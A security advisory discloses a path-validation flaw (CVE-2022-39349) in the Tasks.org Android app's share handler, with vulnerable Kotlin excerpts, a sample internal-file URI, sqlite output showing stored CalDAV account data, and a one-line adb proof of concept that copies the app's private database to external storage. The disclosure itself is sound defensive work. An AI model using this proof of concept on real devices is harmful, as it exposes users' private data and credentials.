Coordinated Disclosure Timeline
- 2022-07-28: Issue notified to support@tasks.org
- 2022-09-26: Issue notified to alex@tasks.org
- 2022-10-01: Issue is acknowledged
- 2022-10-24: Fix is released in versions 12.7.1 and 13.0.1
Summary
The Tasks.org Android app uses the activity ShareLinkActivity.kt
to handle “share” intents coming from other components in the same device and converting them to tasks. Those intents may contain arbitrary file paths as attachments, in which case the files pointed by those paths are copied in the app’s external storage directory. Since the paths are not validated, a malicious or compromised application in the same device could force Tasks.org to copy files from its internal storage to the external storage directory, where they become accessible to any component with permission to read the external storage.
Product
Tasks.org
Tested Version
Details
Issue: Insufficient path validation in ShareLinkActivity.kt
(GHSL-2022-062
)
ShareLinkActivity
handles files being shared by third party components in the device. The received data can be set arbitrarily by attackers, causing some functions that handle file paths to have unexpected behavior.
When receiving an intent with the action android.intent.action.SEND
, the method copyAttachment
is executed in the following code:
public override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
val intent = intent
val action = intent.action
when {
// --snip--
Intent.ACTION_SEND == action -> lifecycleScope.launch {
// --snip--
if (hasAttachments(intent)) {
task.putTransitory(TaskAttachment.KEY, copyAttachment(intent))
firebase.addTask("share_attachment")
}
// --snip--
}
// --snip--
}
}
copyAttachment
uses the provided extra android.intent.extra.STREAM
to read a file and copy it to the app’s external storage directory (the default value of attachmentsDirectory
):
private fun copyAttachment(intent: Intent): ArrayList<Uri> {
val uri = intent.getParcelableExtra<Uri>(Intent.EXTRA_STREAM) ?: return ArrayList()
// --snip--
return arrayListOf(FileHelper.copyToUri(this, preferences.attachmentsDirectory!!, uri, basename))
fun copyToUri(context: Context, destination: Uri, input: Uri, basename: String): Uri = try {
val output = newFile(
context,
destination,
getMimeType(context, input),
basename,
getExtension(context, input))
copyStream(context, input, output)
output
} catch (e: IOException) {
throw IllegalStateException(e)
}
fun copyStream(context: Context, input: Uri?, output: Uri?) {
val contentResolver = context.contentResolver
try {
val inputStream = contentResolver.openInputStream(input!!)
val outputStream = contentResolver.openOutputStream(output!!)
ByteStreams.copy(inputStream!!, outputStream!!)
inputStream.close()
outputStream.close()
} catch (e: IOException) {
throw IllegalStateException(e)
}
}
Since the input
URI is passed through unvalidated until it reaches ContentResolver.openInputStream
, and then ByteStreams.copy
, attackers can pass an URI pointing to files inside of Tasks.org’ internal storage, like for example one of its databases, or its shared preferences files:
file:///data/data/org.tasks/shared_prefs/org.tasks_preferences.xml
The malicious component can afterwards access Tasks.org’s external storage directory to read the contents of the file, potentially accessing sensitive information.
Impact
This issue may lead to sensitive information disclosure. The tasks database not only may contain sensitive information added by users, but it also contains the credentials for CalDAV integrations if those are enabled:
# sqlite3 /data/data/org.tasks/databases/database
SQLite version 3.28.0 2020-05-06 18:46:38
Enter ".help" for usage hints.
sqlite> select * from caldav_accounts;
1|local||||||2|0|-1
2|628594338744250458|admin|http://192.168.1.100:8080/remote.php/dav/calendars/admin/|admin|XePNgXZd2byz2U0LPbruhKfkPzxvFB/p9TKKz3G3X2+F
Luckily, the password is encrypted with a key stored in Android’s KeyStore, so the impact of this specific problem is reduced.
Resources
The following PoC demonstrates how to force Tasks.org to copy an arbitrary file from its internal storage to its external storage:
$ adb shell am start -n org.tasks/com.todoroo.astrid.activity.ShareLinkActivity -a "android.intent.action.SEND" --eu "android.intent.extra.STREAM" "file:///data/data/org.tasks/databases/database" --es "android.intent.extra.SUBJECT" "Test" -t "application/test"
$ adb shell ls -lah /sdcard/Android/data/org.tasks/files/attachments/database.
-rw-rw---- 1 u0_a160 ext_data_rw 156K 2022-07-28 11:27 /sdcard/Android/data/org.tasks/files/attachments/database.
CVE
- CVE-2022-39349
Resources
- https://github.com/tasks/tasks/security/advisories/GHSA-8x58-cg74-8jg8
Credit
This issue was discovered and reported by GHSL team member @atorralba (Tony Torralba).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2022-062
in any communication regarding this issue.